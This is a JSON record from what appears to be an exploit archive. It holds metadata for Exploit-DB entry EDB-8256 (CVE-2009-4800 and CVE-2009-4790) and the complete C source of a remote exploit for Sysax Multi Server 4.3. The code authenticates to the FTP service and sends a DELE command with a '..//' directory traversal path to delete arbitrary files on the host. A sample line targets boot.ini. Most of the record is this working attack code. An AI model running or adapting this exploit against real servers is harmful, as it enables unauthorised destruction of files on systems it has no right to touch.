{"exploit":{"id":"EDB-8256","name":"Sysax Multi Server 4.3 - Arbitrary Delete Files Expoit","description":"Sysax Multi Server 4.3 - Arbitrary Delete Files Expoit","cves":["CVE-2009-4800","CVE-2009-4790"],"author":"Jonathan Salwan","published":"2009-03-23","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8256","path":"exploits/windows/remote/8256.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8256.c","vulnerabilities":[{"id":"CVE-2009-4800","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in Sysax Multi Server 4.3 and 4.5 allows remote authenticated users to delete arbitrary files via a ..// (dot dot slash slash) in a DELE command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4800","cvss":{"version":"2.0","baseScore":4,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4800"},"updatedAt":"2024-08-07T07:17:25.418Z","retrievedAt":"2026-11-27T04:12:16.537Z","stale":false,"error":null},{"id":"CVE-2009-4790","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in Sysax Multi Server 4.5 allow remote authenticated users to read or modify arbitrary files via crafted FTP commands. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4790","cvss":{"version":"2.0","baseScore":9,"severity":"high","vectorString":"AV:N/AC:L/Au:S/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4790"},"updatedAt":"2024-09-16T20:26:22.168Z","retrievedAt":"2026-11-27T04:12:23.026Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8256.png?v=2","url":"https://exploitbin.com/exploits/EDB-8256","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8256/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8256/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nSysax Multi Server v4.3 Remote Delete Files.\nServer FTP.\nhttp://www.sysax.com/\n\n-------------------------------------------------------------------------------------\nA vulnerability is caused due to an input validation error when handling FTP \"DELE\"\nrequests. This can be exploited to escape the FTP root and delete arbitrary files on\nthe system via directory traversal attacks using the \"..//\" character sequence.\n-------------------------------------------------------------------------------------\n\nYou can delet file boot.ini => DELE ..//..//..//..//..//..//boot.ini\n\n\nAuthor: Jonathan Salwan\nMail  : submit [AT] shell-storm.org\nWeb   : http://www.shell-storm.org\n*/\n\n#include \"stdio.h\"\n#include \"unistd.h\"\n#include \"stdlib.h\"\n#include \"sys/types.h\"\n#include \"sys/socket.h\"\n#include \"netinet/in.h\"\n\nint syntax(char *file)\n\t{\n\tfprintf(stderr,\"Sysax Multi Server v4.3 Remote Delete Files\\n\");\n\tfprintf(stderr,\"=>Syntax  : <%s> <ip> <port> <login> <passwd> <file>\\n\",file);\n\tfprintf(stdout,\"=>Exemple : %s 127.0.0.1 21 login1 password1 ..//..//..//boot.ini\\n\",file);\n\texit(0);\n\t}\n\nint main(int argc, char **argv)\n{\n\tif (argc < 5)\n\t\tsyntax(argv[0]);\n\n\tint port = atoi(argv[2]);\n\n\tint mysocket;\n\tint mysocket2;\n\tint srv_connect;\n\tint sockaddr_long;\n\n\n\t\tstruct sockaddr_in sockaddr_mysocket;\n\t\tsockaddr_long = sizeof(sockaddr_mysocket);\n\t\tsockaddr_mysocket.sin_family = AF_INET;\n\t\tsockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);\n\t\tsockaddr_mysocket.sin_port = htons(port);\n\n        char request[50];\n\tchar answer[100];\n\n        fprintf(stdout,\"[+]Connect to Server %s\\n\",argv[1]);\n\n                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);\n                        if(mysocket2 == -1){\n                        fprintf(stderr,\"[-]FAILED SOCKET\\n\");\n\t\t\treturn 1;}\n\n\tsrv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);\n\n\tif (srv_connect != -1)\n \t\t{\n\n\t\tsprintf(request, \"USER %s\\r\\n\", argv[3]);\n\t\t\tif (send(mysocket2,request,strlen(request),0) == -1){\n\t\t\t\tfprintf(stderr,\"[-]Send Request USER\\t\\t[FAILED]\\n\");\n\t\t\t\tshutdown(mysocket2,1);\n\t\t\t\treturn 1;}\n\t\t\telse{\n\t\t\t\tmemset(answer,0,100);\n\t\t\t\trecv(mysocket2,answer,sizeof(answer),0);\n\t\t\t }\n\n\n\t\tsprintf(request, \"PASS %s\\r\\n\", argv[4]);\n                        if (send(mysocket2,request,strlen(request),0) == -1){\n                                fprintf(stderr,\"[-]Send Request PASS\\t\\t[FAILED]\\n\");\n                                shutdown(mysocket2,1);\n                                return 1;}\n                        else{\n\t\t\t\tmemset(answer,0,100);\n                                recv(mysocket2,answer,sizeof(answer),0);\n                                fprintf(stdout,\"[+]>>%s\",answer);\n                         }\n\n\n                sprintf(request, \"SYST\\r\\n\");\n                        if (send(mysocket2,request,strlen(request),0) == -1){\n                                fprintf(stderr,\"[-]Send Request PASS\\t\\t[FAILED]\\n\");\n                                shutdown(mysocket2,1);\n                                return 1;}\n                        else{\n                                memset(answer,0,100);\n                                recv(mysocket2,answer,sizeof(answer),0);\n                                fprintf(stdout,\"[+]>>%s\",answer);\n                         }\n\n\n\t\tsprintf(request, \"DELE %s\\r\\n\", argv[5]);\n                        if (send(mysocket2,request,strlen(request),0) == -1){\n                                fprintf(stderr,\"[-]Send Request DELE\\t\\t[FAILED]\\n\");\n                                shutdown(mysocket2,1);\n                                return 1;}\n                        else{\n\t\t\t\tmemset(answer,0,100);\n                                recv(mysocket2,answer,sizeof(answer),0);\n                                fprintf(stdout,\"[+]>>%s\",answer);\n                         }\n\n\n\t\t}\n\telse{\n\t\tfprintf(stderr,\"[-]Connect\\t\\t[FAILED]\\n\");\n\t\tshutdown(mysocket2,1);\n\t\treturn 1;}\n\n\n\tshutdown(mysocket2,1);\n\n\nfprintf(stdout,\"[+]Done! %s has been deleted\\n\", argv[5]);\nreturn 0;\n}\n\n// milw0rm.com [2009-03-23]","sha256":"a42e24f649cc8a561da26977ed381e1a1923d9520f3d001da8c38f9af6b13d43","bytes":4024,"fetchedAt":"2026-11-27T04:12:16.314Z","encoding":"utf-8 (display only; download retains original bytes)"}